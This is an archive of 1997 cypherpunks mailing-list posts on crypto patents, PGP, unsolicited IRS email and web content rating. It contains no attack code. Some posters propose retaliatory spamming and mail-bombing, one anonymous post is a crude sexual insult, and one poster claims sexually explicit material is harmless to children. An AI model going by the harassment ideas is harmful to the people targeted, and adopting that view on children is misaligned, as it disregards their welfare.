e-mail from reference.com, which I'm reposting without comment:

]Received: (from eansender@localhost)
]          by bilbo.reference.com (8.8.5/8.8.4)
]	  id GAA15443 for DLV@DM.COM; Thu, 24 Jul 1997 06:15:14 -0700 (PDT)
]Date: Thu, 24 Jul 1997 06:15:14 -0700 (PDT)
]From: ean@reference.com
]Message-Id: <199707241315.GAA15443@bilbo.reference.com>
]To: DLV@DM.COM
]Subject: InReference Email Ad Network Information
]
]Dear List Owner,
]
]As a listowner, you may have heard about us. We're InReference, Inc. We're
]the developers of Reference.COM, the Internet's most comprehensive resource
]for accessing Internet forums. We allow business and home users to easily
]search, find, browse  and participate in more than 150,000 worldwide web
]forums, USENET newsgroups and email lists. Even though you're not currently
]archiving your list with Reference.COM, we thought we'd let you know about a
]new service from InReference that may be of interest. We understand the
]pressures on your time, so thanks in advance for hearing us out.
]
]During the past year, we've been approached by numerous list owners
]asking for help finding sponsors for their lists. While a few lists are
]already funded, others would benefit from additional financial support.
]The reasons are many.  Perhaps the listowner needs helps supporting day-to-day
]operations. Or perhaps there's a desire to grow the list.
]
]We've also been approached by many would-be sponsors, socially-responsible
]companies that wanted to do email advertising the right way--with the
]cooperation and support of the list owner.
]
]To address this need, we've started the InReference email ad network  (EAN).
]Basically, we match you up with advertisers fitting a preference profile that
]you create. We handle ad sales, insertion, auditing, billing, and so on. It
]costs nothing to sign-up, and can generate $0.01-0.05/ad/subscriber depending
]on the list. As a list owner, you choose the type of ad (whether banner or
]standalone) and the frequency of ad insertion. You also have the right to veto
]any ads before they can be sent out.
]
]A more detailed description of EAN can be found at the following URL  :
]	http://www.inreference.com/ean
]Should your interest warrant it, details on signing up can be found at :
]	http://www.inreference.com/ean/listinfo.html
]
]Regards,
]
]Jack Zoken
]President
]InReference, Inc.
]
]PS: Regardless of whether you sign-up for EAN, we'd welcome the opportunity to
]archive your list at Reference.COM. See  __________ to submit your list for
]inclusion.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 25 Jul 1997 00:50:54 +0800
To: Doug Peterson <fnorky@geocities.com>
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <33D77571.6FC0@geocities.com>
Message-ID: <Pine.GSO.3.95.970724093525.25014H-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



The Secret Service sells tree ornaments every year. They're quite nice.
Though by the time I got back from Singapore last December, they were sold
out. Don't think they do mail order; it's just for building residents.

If there's a tremendous amount of interest I might be talked into taking
orders this year. They're only about $12 each. 

I hear from fellow jlists that the S.S. also runs a souvenier shop in the
basement of the Old Executive Office Building, on the White House
compound. I've never been able to find it, though. 

-Declan


On Thu, 24 Jul 1997, Doug Peterson wrote:

> Declan McCullagh wrote:
> > 
> > It's actually the Secret Service offices that are upstairs from the Time
> > bureau, on the top floor of the building. Perhaps because we're close
> > enough to see the White House? Dunno. The only time I went up there was
> > when they were selling Xmas tree ornaments.
>  
> Secret Service Xmas tree ornaments?  Hmm.  Next time they are selling
> them, could you find out if they have a mail order address?
> 
> -Doug
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Fri, 25 Jul 1997 00:20:44 +0800
To: David Formosa <dformosa@st.nepean.uws.edu.au>
Subject: Re: I have had ENOUGH of this government bullshit!!
In-Reply-To: <Pine.LNX.3.93.970724164115.102C-100000@shirley>
Message-ID: <33D77A20.6CB6@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Thu, 24 Jul 1997, CST Administration Dept wrote:
> 
> > Screw this. I have finally blown my stack over this bullshit governmental
> > crap. From this oint forward, I fully and completely make available, IN THE
> > U.S, the International version of PGP 2.63.ix.
> 
> Um its RSA that prevent the distrabution of the international version of
> PGP in the USA not the goverment.

Yes, but was it not the US government that gave RSA the patent?  My
understanding is that the patent was applied for after the time limit
for applying for patents was up.  Anyone know if this is true?

-Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 24 Jul 1997 23:01:13 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Brit Fascists To Track Motorists - DigiCash Obsolescent
In-Reply-To: <19970724023449.58782@bywater.songbird.com>
Message-ID: <Pine.SUN.3.96.970724104806.29712K-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 24 Jul 1997, Kent Crispin wrote:

> Of course, you could just confine your driving to private roads, and
> leave the license plate off. 

Of course you could start your own mailing list for NSA spooks and the
like and only send email there.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 24 Jul 1997 23:16:34 +0800
To: Tim May <tcmay@got.net>
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <v03102800affc86bdca7e@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970724105626.29712M-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 23 Jul 1997, Tim May wrote:

> Namely, who is "irsnwpr@net.insp.irs.gov" and what does he or she think of
> the "DEATH TO TYRANTS" subject header, sent to me (and maybe others). And
> what was the reason this was sent to folks who are neither lawyers nor
> reporters nor anyone else who typically receives Treasury Department press
> releases?

I'm probably wrong on this, but the "pr" at the end stands for public
relations, "nw" could be "news wire" or some such.  (And for the clueless,
IRS stands of course for evil jackbooted thugs that eat most of our
paychecks for breakfast...)  :)
 
For one thing, I suggest we setup a nice big form letter and spam them
back with it stating that we do not condone spamming and that we intend to
sue their asses for using our private emails to distribute government
propaganda.  (The quartering of soldiers and all that shit would be a nice
constituional point to include.)  Any lawyer like folk willing to write up
such a beast?  I'd gladly attach my email address to it as it's being
sent.

It could also be a mailing list, if it is, sending email to it will at
least confirm the theory...

It's interesting that I've tried two or three different networks and
nslookup, ping, and traceroute don't show any net.insp.irs.gov, nor any
insp.irs.gov... anyone have better luck finding this evil machine?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Fri, 25 Jul 1997 02:29:26 +0800
To: cypherpunks@toad.com
Subject: d-day
Message-ID: <199707241810.NAA08990@dfw-ix9.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




What do you think about celebrating the expiration of the Diffie-Hellman
patent by getting all the PGP users in the world to switch to DSS/DH keys
all at once?

It would take a massive education effort, but imagine the effect... we
could even celebrate it annually, since there'd inevitably be significant
lagging.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 25 Jul 1997 02:04:09 +0800
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199707241418.HAA06215@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970724114651.77718A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Thu, 24 Jul 1997, Mix wrote:

> Timmy May's 16Kb brain's single convolution is 
> directly wired to his rectum for input and his T1 
> mouth for output. That's 16K bits, not bytes. Anal 
> intercourse has caused extensive brain damage.
> 
>   o o Timmy May
>    o
>   \_/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Thu, 24 Jul 1997 18:55:07 +0800
To: cypherpunks@toad.com
Subject: sober reflection
Message-ID: <199707241042.MAA25077@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



A million monkeys operating under the pseudonym "Bill Frantz" typed:

> A similar approach could evolve for network sites.  A sign saying that we
> follow the US Chamber of Commerce's code on fair information practices
> could easily evolve.  My questions are, what should that code contain?
> And, how many different codes do we need?


See "http://www.truste.org/", "TRUSTe", although I thought it 
used to be called "eTrust"?


Zooko Journeyman

[WE INTERRUPT THIS ARTICLE FOR A SPECIAL ARTICLE RATING:  Hey,
Dmitri M. Vulis!  The article entitled "Spawn of Vulis" was not
a flame or insult.  If you deleted it without reading it, 
I encourage you to go retrieve it again and read it.]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 25 Jul 1997 01:03:34 +0800
To: Doug Peterson <fnorky@geocities.com>
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <33D77571.6FC0@geocities.com>
Message-ID: <Pine.SUN.3.96.970724125100.29712N-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 24 Jul 1997, Doug Peterson wrote:

> Declan McCullagh wrote:
> > 
> > It's actually the Secret Service offices that are upstairs from the Time
> > bureau, on the top floor of the building. Perhaps because we're close
> > enough to see the White House? Dunno. The only time I went up there was
> > when they were selling Xmas tree ornaments.
>  
> Secret Service Xmas tree ornaments?  Hmm.  Next time they are selling
> them, could you find out if they have a mail order address?

Sure you want'em?  They're probably as buggy as a swap in july.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael C Taylor <mctaylor@nb.sympatico.ca>
Date: Fri, 25 Jul 1997 00:00:09 +0800
To: Bill Stewart <cypherpunks@cyberpass.net
Subject: Re: Attorneys: RSA patent invalid
In-Reply-To: <v03007802aff9b733458e@[198.115.179.81]>
Message-ID: <3.0.2.32.19970724125647.007a2980@pop.nb.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



At 05:29 PM 23/07/97 -0700, you wrote:
>$25K upfront is prohibitively expensive for freeware and
>for garage-shop programmers.  It's a drop in the bucket for a 
>large project such as Netscape that wants to add some security,
>but in a 3-person-month email widget it's excessive.
>
>On the other hand, it's now possible to license RSAREF for a much
>more reasonable fee from Concentric; I think it's just per-copy
>rather than a big up-front hit.

As of March, 1997 Consensus Development (www.consensus.com) stopped
licensing RSAREF for a very reasonable amount (~$200 US + 2-3% range I
think it was??) 

Consensus' "SSL Plus" toolkit requires licensee to also license BSAFE from
RSADSI. 

Maybe too many people were using commerical RSAREF licenses rather than the
BSAFE toolkit.

-M





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Fri, 25 Jul 1997 04:15:14 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <Pine.GSO.3.95.970724093525.25014H-100000@well.com>
Message-ID: <Pine.LNX.3.95.970724130247.552A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 24 Jul 1997, Declan McCullagh wrote:

> Date: Thu, 24 Jul 1997 09:39:20 -0700 (PDT)
> From: Declan McCullagh <declan@well.com>
> To: Doug Peterson <fnorky@geocities.com>
> Cc: cypherpunks@toad.com
> Subject: Re: DEATH TO THE TYRANTS
> 
> 
> The Secret Service sells tree ornaments every year. They're quite nice.
> Though by the time I got back from Singapore last December, they were sold
> out. Don't think they do mail order; it's just for building residents.
> 
> If there's a tremendous amount of interest I might be talked into taking
> orders this year. They're only about $12 each. 

What do they look like?  

> I hear from fellow jlists that the S.S. also runs a souvenier shop in the
> basement of the Old Executive Office Building, on the White House
> compound. I've never been able to find it, though. 

You have to find the news stand and ask for the "Special of the day" while
wearing a pink dress shirt.  A trap door will open and you will be at the
gift shop.  (If you survive the fall.)

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 26 Jul 1997 23:31:03 +0800
To: Declan McCullagh <declan@vorlon.mit.edu>
Subject: Re: EPIC letter to CNET.COM and the Internet Community (fwd)
In-Reply-To: <Pine.LNX.3.95.970723215720.11839A-100000@vorlon.mit.edu>
Message-ID: <Pine.LNX.3.91.970724130938.2906A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>   A number of groups, including the
>   American Civil Liberties Union and the Electronic
>   Privacy Information Center, support the use of such
>   software on principle. 

Then they have no principles worth speaking of.


>   But they also point out that
>   filtering software can be used to block any kind of
>   content, not just sexually explicit material, and so
>   it can end up restricting free speech.

So sexually explicit material is no longer classified as speech?

> could be used as easily by governments against citizens and employers
> against employees as they could by parents against children, as was
> made clear by one of the PICS creators in an early paper on the
> topic.

This is not a valid point, parents restricting what their children learn 
about is the best way to fuck a child up.

> We further recognize that there is indeed some material on the Internet
> that is genuinely abhorrent.  But we do not believe you can hide
> the world from your children. We should help our children to
> understand the world, and then help them make it better. Good
> parenting is not something found in a software filter; it takes
> time, effort, and interest. And it takes trust in young people to
> develop within themselves judgment and reason, and the ability to
> tell right from wrong.

Quite so, this is why I never have seen the viewpoint which says that 
parents should not allow children to view sexually explicit material, 
which I can under no circumstances see as being harmful (with the 
possible exception of violent pornography). However, no material is 
harmful in and of itself, it is the attitude the child has towards such 
material that defines it`s worth, if a child sees a picture of a violent 
rape and finds it unpleasant and distasteful that says a lot for the way 
the child has been educated, if the child is interested by it and finds 
the material in good taste then I`m sure I can leave it to you to draw 
your own conslusions as to the success level of the parent in educating 
the child.

Of course any violent material can be harmful, but only if the child is 
brought up to find it acceptable to carry out real violent acts.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Fri, 25 Jul 1997 02:00:33 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell Docket 3
In-Reply-To: <1.5.4.32.19970723114324.006a189c@pop.pipeline.com>
Message-ID: <3.0.2.32.19970724134314.006f883c@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



At 08:55 AM 7/23/97 -0400, William H. Geiger III wrote:
>
>Has anyone contacted Jim's lawer about the recent IRS SPAM?
>
>Seems to me that the IRS leaking the Plea Agreement would be at least
>contempt of court.


With certain exceptions, court proceedings are open to the public which is
why one is able to read articles in newspapers about certain cases.

The only way that the IRS' leaking the Plea Agreement by sending email to
individuals would constitute contempt of court is if there was a gag order.

 

***********************************************************************
Lynne L. Harrison, Esq.     | "I love deadlines.  I love the whooshing    
Poughkeepsie, New York      |  sound they make as they fly by."  
http://www.dueprocess.com   |              - Douglas Adams
***********************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 25 Jul 1997 02:16:31 +0800
To: "Lynne L. Harrison" <lharrison@mhv.net>
Subject: Re: Jim Bell Docket 3
In-Reply-To: <3.0.2.32.19970724134314.006f883c@pop.mhv.net>
Message-ID: <Pine.SUN.3.96.970724140511.29712R-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 24 Jul 1997, Lynne L. Harrison wrote:

> With certain exceptions, court proceedings are open to the public which is
> why one is able to read articles in newspapers about certain cases.
> 
> The only way that the IRS' leaking the Plea Agreement by sending email to
> individuals would constitute contempt of court is if there was a gag order.

A. It's unsolicited spam.
B. The way they gathered the list of addresses is questionable, and likely
off Jim's HD.  If this is the case, can it be used to send the warning
message?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 25 Jul 1997 13:03:23 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Rating online content can work; rating news can't
In-Reply-To: <33D6B0D0.19D1@netcom.com>
Message-ID: <3.0.2.32.19970724144113.00772da4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:34 PM 7/23/97 -0700, Steve Schear wrote:
>Since the Supreme Court said the online world should be as free as
>print, and no self-labeling system exists for magazines or newspapers,
>why should the Net be any different?  I don't believe that a self-rating
>system is either practical or desirable.  Enactment of any laws to put
>teeth into Internet self-ratings will almost certainly run afoul of
>Constitutional challenges, and without such laws compliance and thus
>widespread acceptance is unlikely.

Genuinely voluntary self-rating systems, and third-party rating-services,
are both practical and desirable for some kinds of communications.
(Mandatory systems are of course evil and inadequate.)
Not only are there people who are concerned about what their kids will see,
there are also readers who don't want to be bothered with SPAM,
readers who only want to join Better-Business-Bureau-approved MLM scams,
Usenet readers who don't want their porn diluted with phone sex ads,
web users who'd like to get further information on products without
getting junk email as well, and all sorts of applications that
don't fit well into the standard two-deadly-sins model or the
"one rating service knows all the sites you don't want to see" model.

Voluntary rating systems allow a multiplicity of values.
The latest TV ratings and V-Chip model not only can't cope with
rating news*, it also doesn't rate TV commercials -- which would score
high on greed/envy/gluttony/sugar-content/boredom,
none of which deadly sins are covered by the V-Chip scale
but are often more interesting criteria both to parents and viewers
than the sex and violence - parents know The Disney Channel isn't going
to show porn on Saturday mornings.  If your VCR also knew about ratings,
you'd be able to watch the shows commercial-free on tape...

Multiple voluntary ratings systems do mean that the information you
want to see won't always have a rating from a rating system you use;
that's the way it goes.  If it's voluntary, then some readers will set
their browsers to fail open, and some will set them to fail closed,
and some will be exposed to rating services that may offer them
other ways to find high-quality reading than the ones they use today.

And, yes, search engines that know about Interestingness ratings 
can be a win, if you've got some criteria that simple keyword searches
don't describe well enough to pick the best 100 of 512387 matches.
	
>I have no doubt that the definition of 
>what qualifies as a bona fide news organization is in the
>eye of the beholder.  I certainly would not class CNET with any of the
>major US newspapers, magazines nor the WSJ.  

This is cyberspace.  Everybody's a bona-fide news organization.
Some are more organized than others, and some make up more of the 
news as they go along than others (which network blew up cars?),
and some people focus more on commentary than events or analysis,
but the oligopoly model -- a few newspapers which can afford distribution,
a few TV stations with government-granted spectrum monopolies,
and a few big wire services spoon-feeding everybody -- is dead.
Freedom of the press belongs to anyone who owns one, and that's
everyone who can afford a used PC and a free Juno account...
The big news organizations can still add a lot of value,
but there are a lot more voices in the game.

Bona Fide News Organizations during the Gulf War gave us the Pentagon 
Nintendo films; almost nobody went out in the battlefield reporting real 
news, but if Iraq had a decent Internet infrastructure we wouldn't have 
had to wait for Ramsey Clark's video.  The live Internet reporting during 
the Russian coup and the Chinese fax barrage during TienanMen Square 
weren't from Isvestia or the Chinese government-recognized press, 
but they were the real news.

*A classic example of news ratings not working are the
Vietnam war pictures of the naked girl running with napalm on her,
and the Vietnamese army officer shooting a prisoner in the head;
a V-Chip would ding them for nudity and violence, but they were
two of the most images of that war.  We were lucky those pictures
came out; any proposal that would deny the similar pictures in the
next war an open rating because it's not from a "bona fide" news org
is censorship of a sort unacceptible in a free society.





#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 25 Jul 1997 06:02:20 +0800
To: Dave K-P <dkp@iname.com>
Subject: Re: d-day
In-Reply-To: <33D7B34A.287D@iname.com>
Message-ID: <Pine.3.89.9707241404.A28249-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain







On Thu, 24 Jul 1997, Dave K-P wrote:
> 
> 	So, before you run off to play with your new toys, read the
> warranty first.  Also there are platforms that PGP 5.0 doesn't cover yet
> that PGP 2.6.3i already does, such as: MS-DOS, OS/2, Amiga, Atari,
> Macintosh, BeOS and Linux.  Until such a time, a world-wide conversion
> seems unlikely.

The Linux beta of PGP 5.0 is available at 
http://www.pgp.com/products/50-linux-beta.cgi

Once the scanning effort (91% proofread) has completed, PGP 5.0 for a 
wide variety of OS'es is only a matter of time.

-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave K-P <dkp@iname.com>
Date: Fri, 25 Jul 1997 04:17:41 +0800
To: cypherpunks@toad.com
Subject: Re: d-day
In-Reply-To: <199707241810.NAA08990@dfw-ix9.ix.netcom.com>
Message-ID: <33D7B34A.287D@iname.com>
MIME-Version: 1.0
Content-Type: text/plain



Neva Remailer wrote:

> What do you think about celebrating the expiration of the Diffie-Hellman
> patent by getting all the PGP users in the world to switch to DSS/DH keys
> all at once?

	From www.rsa.com on DSS ...

DSA has been criticized by the computer industry since its announcement.
Criticism has focused on a few main issues: it lacks key exchange
capability; the underlying cryptosystem is too recent and has been
subject
to too little scrutiny for users to be confident of its strength;
verification of signatures with DSA is too slow; the existence of a
second authentication standard will cause hardship to computer hardware
and
software vendors, who have already standardized on RSA; and the process
by
which NIST chose DSA was too secretive and arbitrary, with too much
influence wielded by NSA.

	And from www.rsa.com on the ElGamal variation of Diffie-Hellman...

The main disadvantage of ElGamal is the need for randomness, and its
slower speed (especially for signing). Another potential disadvantage of
the ElGamal system is that message expansion by a factor of two takes
place during encryption. However, such message expansion is negligible
if
the cryptosystem is used only for exchange of secret keys. 

	So, before you run off to play with your new toys, read the
warranty first.  Also there are platforms that PGP 5.0 doesn't cover yet
that PGP 2.6.3i already does, such as: MS-DOS, OS/2, Amiga, Atari,
Macintosh, BeOS and Linux.  Until such a time, a world-wide conversion
seems unlikely.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 24 Jul 1997 19:02:23 +0800
To: CST Administration Dept <admin@CyberSpaceTechnologies.com>
Subject: Re:I have had ENOUGH of this government bullshit!!
In-Reply-To: <199707240727.CAA07675@oceanus.host4u.net>
Message-ID: <Pine.LNX.3.93.970724164115.102C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 24 Jul 1997, CST Administration Dept wrote:

> Screw this. I have finally blown my stack over this bullshit governmental
> crap. From this oint forward, I fully and completely make available, IN THE
> U.S, the International version of PGP 2.63.ix.

Um its RSA that prevent the distrabution of the international version of
PGP in the USA not the goverment.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM9b5YaQK0ynCmdStAQE5oAQAyK2FltDm6BlSFzlKUR7VXsDaBEg4R/uV
EYRDws3dKU2RW0Yvw5Anqw1eYSgomF2pnfW2fFU+mQgzd9gLFYcJ/2s5ZrHrD6DV
DyxqHHnnpnPphfyrWJ7+EqlESQ3sjZB2VV7Czr6wzhvZS96TIYczdh3ua2SrYQ3R
7eS7XOuxZ6Q=
=sQJk
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbugden@alis.com
Date: Fri, 25 Jul 1997 05:39:53 +0800
To: <cryptography@c2.net>
Subject: Internet makes resistance futile, Clinton aide warns
Message-ID: <9707248697.AA869779597@alis-1.alis.com>
MIME-Version: 1.0
Content-Type: text/plain




Internet makes resistance futile, Clinton aide warns

This byline appeared in The Financial Post of July 24, 1997 at the top of the
front page.

The subsequent article discussed not crypto, but Canadian attempts to regulate
television content. Even so, the second paragraph is succinct, and applicable to
both debates. 

"Ira Magaziner, Clinton's international emissary on the issue of how governments
should respond to the explosive growth of business on the Net, said any attempt
to regulate its content would not only be a mistake, it would be futile."

Perhaps someone should get Mr. Magaziner back to Washington to explain this to
the administration.

Ciao,
James
jbugden@alis.com

Great minds think alike, fools seldom differ.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles" <apache@gargoyle.apana.org.au>
Date: Thu, 24 Jul 1997 16:24:03 +0800
To: chris_barr@cnet.com
Subject: Re: CNET editor endorses self-labeling, "news site" standard
In-Reply-To: <v0300780eaffc497496bf@[168.161.105.191]>
Message-ID: <199707240728.RAA27801@gargoyle.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



I noted the following on the cypherpunks mail list and would like to
make a few comments concerning your recent CNET article which you
will find following the comments made by Declan McCullagh.

> Since the Supreme Court said the online world should be
> as free as print, and no self-labeling system exists
> for magazines or newspapers, why should the Net be any
> different? Why isn't the Net community opposing
> "mandatory voluntary" self-labeling systems as
> staunchly as newspapers and magazines would fight a
> similar requirement? It's best to ask these questions
> of Christopher Barr (chris_barr@cnet.com), editor in
> chief of CNET, who endorsed such a proposal in his
> column below.
> 
> Barr says that he wants to ensure "that
> only real news organizations claim [the] privilege"
> of rating as news sites with RSACnews. But who decides
> what's a news site? Is CNET? pathfinder.com? epic.org,
> which the government treats as a news site when responding
> to FOIA requests? The Drudge Report? How about the NAMBLA
> News Journal?
> 
> My report on the possible perils of such systems is at:
> 
>   http://pathfinder.com/netly/opinion/0,1042,1173,00.html
> 
> -Declan
> 
> ****************
> 
> http://www.cnet.com/Content/Voices/Barr/072197/index.html
> 
> rating online content can work (7/21/97)
> 
> With the Communications Decency Act vanquished once
> and for all, it's time to explore alternatives for
> protecting our youth from inappropriate online
> content. As an independent content provider, CNET's
> position has always been to give the power to the
> reader (or the reader's parents) and not the

Let's face it the ratings system has very little to do with giving
power to the reader, indeed it is primarily aimed at taking power
away from the reader to make decisions for themselves and placing
that power in someone elses hands.

> government, to decide which sites have acceptable
> content. And now, President Clinton has been forced to
> come around to our way of thinking. After initially
> supporting the CDA, Clinton is recommending that sites
> rate themselves and that parents use filtering
> software to set limits for their children.
> 
> Self rating systems allow sites to attach labels to
> themselves to indicate what kind of content the sites
> contain. The labels are interpreted via the Platform
> for Internet Content Selection (PICS) technology
> endorsed by the World Wide Web Consortium standards
> body. The PICS technology allows any group, such as
> the PTA or a church, to set content standards that can
> then be adopted by individual Web sites. There are
> already several rating services such as the
> Recreational Software Advisory Council on the Internet
> (RSACi), Safe For Kids, and SafeSurf. Early on, CNET
> supported the RSACi rating system and chose to rate
> both CNET.COM and NEWS.COM.
> 
> Controlling content takes two things: content-ratings
> and filtering-software. A number of software programs,
> including Cyber Patrol, Cyber Sentry, Internet
> Explorer, and SurfWatch, already support PICS and can
> read the rating labels. Such software blocks out any
> sites that don't correspond to the ratings you've
> selected. For instance, if your rating system says
> that images with partial nudity are inappropriate, the
> software won't load those pages.
> 
> To be sure, filtering- or blocking-software is not
> without limitations. A number of groups, including the
> American Civil Liberties Union and the Electronic
> Privacy Information Center, support the use of such
> software on principle, but they also point out that

EPIC certainly does NOT support the use of such software in
principle. Please post a prominent correction on your 'news' site. I 
qualify the terms news site only to point out that whether your site 
is actually a legitimate news site in the opinion of others will 
vary and to note that having never heard of CNET before and being 
cognizant of this particular factual error I have stumbled across and 
the blatant hypocracy of your arguments I would probably classify it 
as a 'fantasy site' however I'll withhold judgement until I've seen a 
little more of CNET. You probably question my ability and right to 
judge you and I may question your ability or someone elses to judge 
